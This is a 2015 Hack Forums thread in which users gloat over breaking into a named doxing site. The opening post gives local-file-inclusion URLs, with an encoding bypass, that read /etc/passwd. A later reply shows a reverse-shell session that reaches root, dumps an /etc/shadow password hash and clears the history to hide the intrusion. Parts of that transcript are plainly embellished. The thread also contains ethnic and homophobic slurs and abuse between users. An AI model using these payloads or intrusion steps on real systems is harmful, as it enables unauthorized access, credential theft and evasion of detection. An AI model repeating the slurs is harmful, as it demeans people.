

Forum:[Hack Forums](#)

Thread: [Holy shit, RIP fbi\[dot\]yt](#)

Misha the unfortunate - February 3, 2015, 5:29 pm

Holy shit.

So I was browsing doxes, you know how we do.

Then ofc, I decide to try some hacking, because it's in my blood ???

Now, I try the usual stuff, quote in the fields, `<script>prompt(0)</script>` in the search, but nothing works.

Then I look at the URL and I realise it.

It's an LFI.

`http://fbi[DOT]yt/dox/doxviewer.php?dox=%2558%2191%2559..%2fetc%2fpasswd%2f%2f`

Can't post the contents cus HF gay filter.

I gotta bypass that some time.

For now, have fun with this and don't abuse pls. ??????

EDIT:

Thanks to themastersinner for the new bypass!

`http://fbi[DOT]yt/dox/doxviewer.php?dox=%252558%252191%252559..%252fetc%252fpasswd%252f%252f`

asterisk_ - February 3, 2015, 6:36 pm

Can't tell if you're trolling or not.

hyhyhhhrf3 - February 3, 2015, 6:38 pm

Dang nice. I didn't know LFI still existed, good find man!!!@

Understalker - February 3, 2015, 6:40 pm

lol omg u made me hack their site thanx

Misha the unfortunate - February 4, 2015, 3:49 am

Can't seem to escalate it.

Anyone got any luck?

lean - February 4, 2015, 3:52 am

Did you get that from here?

[JustHack.co](#)

B?ue - February 4, 2015, 3:53 am

(Feb 4, 2015 04:52 AM)D?ia?mond Wrote: [\[CITE\]](#) Did you get that from here?

[JustHack.co](#)

"Can't post the contents cus HF gay filter."

Other way round I think. Nice find!

Misha the unfortunate - February 4, 2015, 3:55 am

(Feb 4, 2015 04:52 AM)D?ia?mond Wrote: [\[CITE\]](#) Did you get that from here?

[JustHack.co](#) That was posted on the same day that I posted this ;)

Nigga From Africa - February 4, 2015, 3:55 am

You know your query is blocked right?

Misha the unfortunate - February 4, 2015, 3:57 am

(Feb 4, 2015 04:55 AM)DotTXT Wrote: [\[CITE\]](#) You know your query is blocked right?Welp, there it goes.

I guess someone should try to bypass it, because i'm not sure how it works.

B?ue - February 4, 2015, 4:06 am

"Caught red handed"

Gets wrong IP address.

Yeah nice job, Surprised they haven't heard of a VPN

Misha the unfortunate - February 4, 2015, 4:10 am

(Feb 4, 2015 05:06 AM)BlueLights Wrote: [\[CITE\]](#)

"Caught red handed"

Gets wrong IP address.

Yeah nice job, Surprised they haven't heard of a VPNIt got patched pretty quickly.

I still have the passwd file lol

B?ue - February 4, 2015, 4:12 am

(Feb 4, 2015 05:10 AM)Misha the unfortunate Wrote: [\[CITE\]](#) It got patched pretty quickly.

I still have the passwd file lol

Lmfao thats brilliant, Good find man :)

themastersinner - February 4, 2015, 4:33 am

I think it is a honey pot TBH. ?

Misha the unfortunate - February 4, 2015, 4:41 am

Holy shit, themastersinner bypassed it again ????

Lexica - February 4, 2015, 4:56 am

(Feb 4, 2015 05:33 AM)themastersinner Wrote: [\[CITE\]](#) I think it is a honey pot TBH. ?

A honey pot? Zayne and Sky own it lol. I know Zayne uses this forum for sure, I'm not 100% positive about his other friend though.

Misha the unfortunate - February 4, 2015, 5:01 am

(Feb 4, 2015 05:56 AM)Løst Wrote: [\[CITE\]](#) A honey pot? Zayne and Sky own it lol. I know Zayne uses this forum for sure, I'm not 100% positive about his other friend though.

Pretty sure it's not.

environ is there, but I can't seem to exploit it

Nigga From Africa - February 4, 2015, 5:24 am

(Feb 4, 2015 05:56 AM)Løst Wrote: [\[CITE\]](#) A honey pot? Zayne and Sky own it lol. I know Zayne uses this forum for sure, I'm not 100% positive about his other friend though.

Sky used to be here.

Then omni got mad or some shiet.

themastersinner - February 4, 2015, 5:30 am

Visit this link:

<http://pastebin.com/raw.php?i=rtrRXp2z>

How it is not a honey pot? ?

Misha the unfortunate - February 4, 2015, 5:39 am

(Feb 4, 2015 06:30 AM)themastersinner Wrote: [\[CITE\]](#) Visit this link:

<http://pastebin.com/raw.php?i=rtrRXp2z>

How it is not a honey pot? ?Are you sure it's not just your cache? o.o
Just redirects me to index.

Lexica - February 4, 2015, 5:53 am

(Feb 4, 2015 06:39 AM)Misha the unfortunate Wrote: [\[CITE\]](#) Are you sure it's not just your cache?

o.o

Just redirects me to index.

Same here, he probably thinks just because it says fbi that it's a honey pot lol. ?

afk0 - February 4, 2015, 5:54 am

It's an in-built feature in the firewall.

Nigga From Africa - February 4, 2015, 6:33 am

(Feb 4, 2015 06:39 AM)Misha the unfortunate Wrote: [\[CITE\]](#) Are you sure it's not just your cache?

o.o

Just redirects me to index.

It worked for me earlier on a device that never visisted that link.

Now it doesnt though.

Misha the unfortunate - February 4, 2015, 6:38 am

(Feb 4, 2015 07:33 AM)DotTXT Wrote: [\[CITE\]](#) It worked for me earlier on a device that never visisted that link.

Now it doesnt though.Device that never visited the link? lol

The one time I went on it, it redirected me to index.

Nigga From Africa - February 4, 2015, 6:39 am

(Feb 4, 2015 07:38 AM)Misha the unfortunate Wrote: [\[CITE\]](#) Device that never visited the link? lol

The one time I went on it, it redirected me to index.

My phone never visited # and it could see the content.

Misha the unfortunate - February 4, 2015, 6:41 am

(Feb 4, 2015 07:39 AM)DotTXT Wrote: [\[CITE\]](#) My phone never visited # and it could see the content.
Well then you must be a special snowflake or something.

Hooded Robin - February 4, 2015, 7:08 am

lol you guys, server rooted, thanks for playing :)

Denitorious - February 4, 2015, 7:11 am

Try to rap OPs thread, awesome track, bro.

Misha the unfortunate - February 4, 2015, 7:31 am

(Feb 4, 2015 08:11 AM)Denitorious Wrote: [\[CITE\]](#) Try to rap OPs thread, awesome track, bro.Do it and post on vocaroo plis.

Gonna be a fucking hit.

S?mug - February 4, 2015, 7:43 am

They didn't seem to properly patch it, using a few methods I don't really feel like going into details about, I've gathered a few things.

Escalated privileges from php://input

PHP Code

```
<?php
```

```
root@nyaa:~# nc -nvlp 99
```

```
Listening on [0.0.0.0] (family 0, port 99)
```

```
Connection from [fuckoffskids] port 99 [tcp/*] accepted (family 2, sport 51183)
```

```
bash: no job control in this shell
```

```
www-data@fbi:~# id
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
www-data@fbi:~# uname -a
```

```
Linux # 3.8.13-xxxx-ipv6-64 #3 SMP Fri May 99 xD 13:26:19 CEST 2016 x86_64 x86_64 x86_64 GNU/Linux
```

```
www-data@fbi:~# #Just for lulz
```

```
www-data@fbi:~# python -c "__import__('os').setgid(LOLISEVERYWHERE);__import__('pty').spawn('/bin/bash');"
```

```
-----;i-----
```

```
-----.,if-----
```

```
-----,tLE,-----.;ji-----
```

```
-----;ittL;-----.;;tjfGj.-----
```

```
---;tfGDK;-----.;;tLEKKt-----.;---
```

```
---ijLDKD.-----.;iLfiiGD;-----.,ifj.---
```

```
--.;tGKKi-----:tjLKWWEj;-----.;jLEE;----
```

```
---;iLEL::.;;tjEW##Wf,-----.,tGKWf-----
```

```
---.,;t,.,;ifi;LKELt:-----.;;itiiLD:-----
```

```
---:iiLjGLfLGGDEE;-----.:i.;LKEfji-----
```

```
--.;;jGfDGKW#####KL.-----i.,jDKWet-----
```

```
--.,ifGGGLEEE#####Wet-----:tifDEKD;-----
```

```
--.;;LDGELKKK#####KEj.-----iLGKELi-----
```

```
---ijGDEWKW#####Wdfi;.,;ii,.,:DElt:-----
```

```
---,fDKKKW####WK#####EGLLLLLLfft,.;ii.-----
```

```
-----:.,;.;fji;LW#####WKEEEEEEDLji::i;-----
```

```
-----.;GLjjDKKWWWEEEEEKEEDfjLLLGGDL:-----
```

```
-----.,fGL;.;tLfjjfGDDGftLEKKKEDEEf-----
```

```
-----.;;Get-:tftifGEEEDftLEKKjJLLL-----
```

```
-----;iGkt-iGLGLttK#####EGDEEjiEGG;-----
```

```
-----.LEEi;ftff;--,E#####LjDEEGGDDD;-----
```

```
-----;EL:jjGLi---,K###t--,ijDKEDDL:-----
```

```
-----jt;DGt:-----.LKKKi-----tDEDEt-----
```

```
-----.tjDKf-----.,iff;-----tEDEj-----
```

```
-----:fDEWKi---;.,;ii.-----,iLLDt-----
```

```
-----.;ifEKG,-----..-----,jjj;-----
```

```
-----fttGED-----
```

```
-----.
```

```
# id
```

```
uid=0(root) gid=LOLISEVRYWHERE groups=0(root)
```

```
# head -n 1 /etc/shadow
```

```
root:$6$83TixXP9$SsTIm0ugxQMN/LWi.EmpLrgoL4MkaNWw6X0P2QMrdjwew/t1lr8n.m7bj5cWBgb  
GfDlbuurc3h8MtiVDowY20:16379:0:99999:7:::
```

```
# exit
```

```
www-data@fbi:~# history -c && kill -9 $$
root@nyaa:~#
```

Thanks for the share OP, it's fairly easy to achieve since they have played with a certain rootkit on their box to achieve root privileges after you gain shell access.

If you aren't completely new to the scene you should figure out how to do this too.

I've basically given out a free root.

Im gone brah - February 4, 2015, 7:59 am

LOLOLOLOLOLOLOLOLOLOLOLOOLOLOLOLOL?

hyhyyhhrf3 - February 4, 2015, 10:24 am

This entire thread is so retarded it hurts

Misha the unfortunate - February 4, 2015, 11:15 am

(Feb 4, 2015 11:24 AM)Dominick G Wrote: [\[CITE\]](#) This entire thread is so retarded it hurtsNo, you're a fucking joke you rancid swine.

InsanityComplex - February 5, 2015, 5:13 pm

What would you expect from a site that is run by an imbecile.